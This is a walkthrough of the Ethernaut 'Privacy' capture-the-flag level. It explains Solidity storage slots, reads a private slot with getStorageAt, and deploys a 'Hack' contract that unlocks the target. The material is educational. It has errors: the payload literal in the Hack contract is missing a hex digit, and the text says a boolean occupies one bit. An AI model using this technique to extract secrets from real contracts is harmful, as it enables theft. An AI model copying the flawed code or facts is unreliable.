Ethernaut Walkthrough — Level 12: Privacy

Published on Dec 16, 2021

Level 12 is a bit similar to level 8 where we learned about how state variables are stored on a contract (and also how we can read them, even when they are private).

In order to get a good understanding of how storage works in more detail, I decided to create a little drawing based on the documentation and the given contract code. To pass this level, we need to unlock the contract by sending the correct _key. We see that the key is checked like so:

require(_key == bytes16(data[2]));

The storage variables are kept pretty basic (no dynamic arrays and the likes) and are listed in the following way. Think about how we can read data[2] which includes the key to unlock the contract.

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;

Now, I decided to read an re-read the documentation about storage slots and how data gets stored. You'll need to do so as well if you really want to understand where the data lives on the contract. Here are a few pointers from the docs but written in a way that we can use in this level:

  • state variables are stored in slots, values are stored from right to left
  • slots are 32 bytes in size (or 256 bits)
  • if multiple values can be stored in one slot, solidity will do that
  • arrays always start a new slot, values are packed tighly according to the standard storage rules
  • a boolean for example takes 1 bit of storage (value can be 0 or 1)
  • a uint8 takes up 8 bits, leaving the rest of the slot open for other values that might fit

Now, if we take our code and show that visually as data slots, we get something like this:

This gives us a visual way to see at what data slot the data[2] lives. We see that this is storage slot number 5. When we know that, we can grab that value by calling the following code from the Ethernaut console (as always, replace my instance address with that of your own):

slot = await web3.eth.getStorageAt("0xFbef6E80C86B2017083147021Af255be27B2F8A7", 5);
// '0x4ad5976787dd09ae4d53840d40a6d0a4edb500e54c2883a80a8459b072721437'

You can probably just finish the level in the console, but I like to use Remix to just code up the hacks there.

When we look at the result we get back from storage, we see that we get 32 bytes of hexadecimal data back. In case you wonder why there's 64 characters:

A single byte is always represented by two hexadecimal digits from 0x00 to 0xFF, the latter being the largest per-byte value of 255.

The key should be bytes16, so we can cast the bytes32 result we have in our hands into bytes16 and then we'll be ready to pass it to the unlock() method of the Ethernaut contract. Again, you can do this all in the console, but I used remix.

I started by adding the original contract, in order to be able to call it easily from my own contract. This is how I started:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(block.timestamp); // now is depecrated, replaced it
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

}

contract Hack {
    
}

This is just a copy-paste from the original contract, with our Hack contract added below. We'll start by adding a reference to the Ethernaut instance as follows (make sure you replace the address with your own level's address)

contract Hack {
    // create a reference to the original Ethernaut contract instance
    Privacy target = Privacy(0xFbef6E80C86B2017083147021Af255be27B2F8A7);
}

Now, we can start creating our payload by casting the result we found in storage slot 5 into a bytes16 value. After that, we send it straight to the unlock() method of the Ethernaut level. Here's the code I used.

contract Hack {
    // create a reference to the original Ethernaut contract instance
    Privacy target = Privacy(0xFbef6E80C86B2017083147021Af255be27B2F8A7);

    // the payload comes from the getStorageAt(5) method
    bytes32 payload = 0x4ad5976787dd09ae4d53840d40a6d0a4ed500e54c2883a80a8459b072721437;
    
    // we convert it to bytes16 (essentially cutting off the last 16 bytes of payload)
    bytes16 public payload16 = bytes16(payload);

    function attack() public {
        // now we can submit the payload to the original instance
        target.unlock(payload16);
    }
}

Just deploy to Rinkeby and call the attack() method to unlock the level. After doing that, you can go to the Ethernaut console and ask what the value of the lock boolean is.

await contract.locked();
// false

And there you have it, an unlocked contract and another Ethernaut level passed.

Security lessons learned

  • again, we are confronted with the fact that you can't keep any data private when it's stored on the public blockchain (unless of course, you encrypt it)
  • once we understand storage slots, we can more easily grab any value from any contract that we want.
  • I hope the image I created above helps you understand how storage slots work, if not you can check out this article that might help
No comments? But that’s like a Gin & Tonic without the ice?

I’ve removed the comments but you can shoot me a message on Twitter @GoodBytes to keep the conversation going.